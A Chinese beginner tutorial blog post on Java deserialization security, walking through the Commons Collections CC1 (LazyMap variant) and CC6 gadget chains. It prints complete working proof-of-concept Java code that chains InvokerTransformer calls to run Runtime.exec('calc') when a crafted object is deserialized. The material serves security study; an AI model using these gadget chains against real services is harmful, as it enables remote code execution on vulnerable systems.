[Java安全入门]五.CC6链

一.前言

上一篇讲到CC1链是利用AnnotationInvocationHandler来触发setValue(),但是在Java 8u71以后AnnotationInvocationHandler的readObject()里面已经没有了setValue()方法,cc6链不受jdk版本约束,较于其他cc链,更为通用。

二.cc1的另一种写法

在学习cc6之前,先回顾一下CC1

复制代码
AnnotationInvocationHandler.readObject()(setValue)->

                              TransformedMap.checkSetValue->        

                                      ChainedTransformer.transform->
                                              
                                              InvokerTransformer.transform

然后学习一下利用LazyMap触发transform

复制代码
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

在LazyMap的get方法中调用了 factory的transform的方法,如果把factory传承ChainedTransformer就回归了之前Transforedmap的用法,前提是map里面没有key

然后找谁调用了get方法

在AnnotationInvocationHandler的invoke方法中调用了get方法

java 复制代码
public Object invoke(Object proxy, Method method, Object[] args) {
         ...
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
         ...
        Object result = memberValues.get(member);
         ...
}

当对AnnotationInvocationHandler的任意方法使用动态代理的时候就会触发invoke方法,根据两个if,调用还得是无参方法,正好entrySet()是个无参方法

java 复制代码
package  org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.awt.windows.awtLocalization;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) throws  Exception {

        // Class c = Runtime.class;
        //  Method methodgetRuntime=c.getMethod("getRuntime",null);
        // Runtime runtime=(Runtime)methodgetRuntime.invoke(null,null);//获取Runtime.getRuntime 类
        //Method execmethod=c.getMethod("exec",String.class);//获取exec方法
        //execmethod.invoke(runtime,"calc");


        // Method methodgetRuntime =(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        //Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(methodgetRuntime);



        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);


       Map<Object, Object> hashMap = new HashMap<>();
        //用HashMap传入decorate
       // hashMap.put("value", 1);
       // Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        //构造好TransformedMap,现在需要触发checkSetValue并把指令传进去
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazymap);//注解随便传
        Map proxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        Object obj=annotationInvocationHandlerConstructor.newInstance(Target.class,proxy);





        //Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       // Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        //annotationInvocationHandlerConstructor.setAccessible(true);
       // Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(obj);
        //序列化


        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化


        // Runtime cmd=Runtime.getRuntime();

        //for(Map.Entry entry:transformedMap.entrySet())
        //{
        //   entry.setValue(cmd);
        //}
        //通过遍历Map,调用setValue触发checkSetValue

    }
}

三.cc6

cc6的后半段与Lazymap构造的cc1一样,但是触发get的方法发生了变化,TiedMapEntry类的hashCode方法调用了getValue方法,而getValue调用了get

java 复制代码
   public Object getValue() {
        return map.get(key);
    }

所以可以用TiedMapEntry来代替LazyMap,根据URLDNS链的经验可以这样构造

HashMap.readObject->hashCode->TiedMapEntry.hashCode->get ->ChainedTransformer.transform

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //这里ConstantTransformer随便放,这样put的时候不会触发计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "a");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "b");
        lazymap.remove("a");
        //反序列化不能由key,所以romove掉

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        //反射获取LazyMap,类似反射获url类
        factoryField.set(lazymap, chainedTransformer);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(map2);
        //序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化
    }

}
相关推荐
CoderYanger8 小时前
Java EE 进阶:8.MyBatis 操作数据库(入门)(第二弹)
java·数据库·spring boot·spring·面试·java-ee·mybatis
CQU_JIAKE11 小时前
11.7[高体】
java·后端·spring
apcipot_rain12 小时前
C++转Java日记(04)
java·开发语言·c++
特立独行的猫A12 小时前
我给女儿写了个打字练习:一边敲键盘,一边把小学英语单词记牢
java·后端·python
憧憬成为java架构高手的小白14 小时前
LangGraph4j 实战(下)
java
天诰14 小时前
SA-K-11 检索会消失吗与四个未解问题
java·服务器·人工智能·python·机器学习·ai编程
这个昵称不容易18 小时前
SpringBoot「衣依」服装销售平台:144个Java文件180个接口,从挑衣服到收货评价整条链路都在
java·springboot·毕设
计算机毕设定制辅导-无忧学长18 小时前
《基于微信小程序的居家医疗陪护预约系统设计与实现》
java·spring boot·微信小程序·uniapp·居家医疗陪护预约系统
文丑颜不良啊19 小时前
LeetCode2221~2240题目解析
java·leetcode
秋饼20 小时前
Computer Use Agent Java 落地实战:感知-行动循环、执行器与安全围栏生产级实现
java·ai·技术分享·后端开发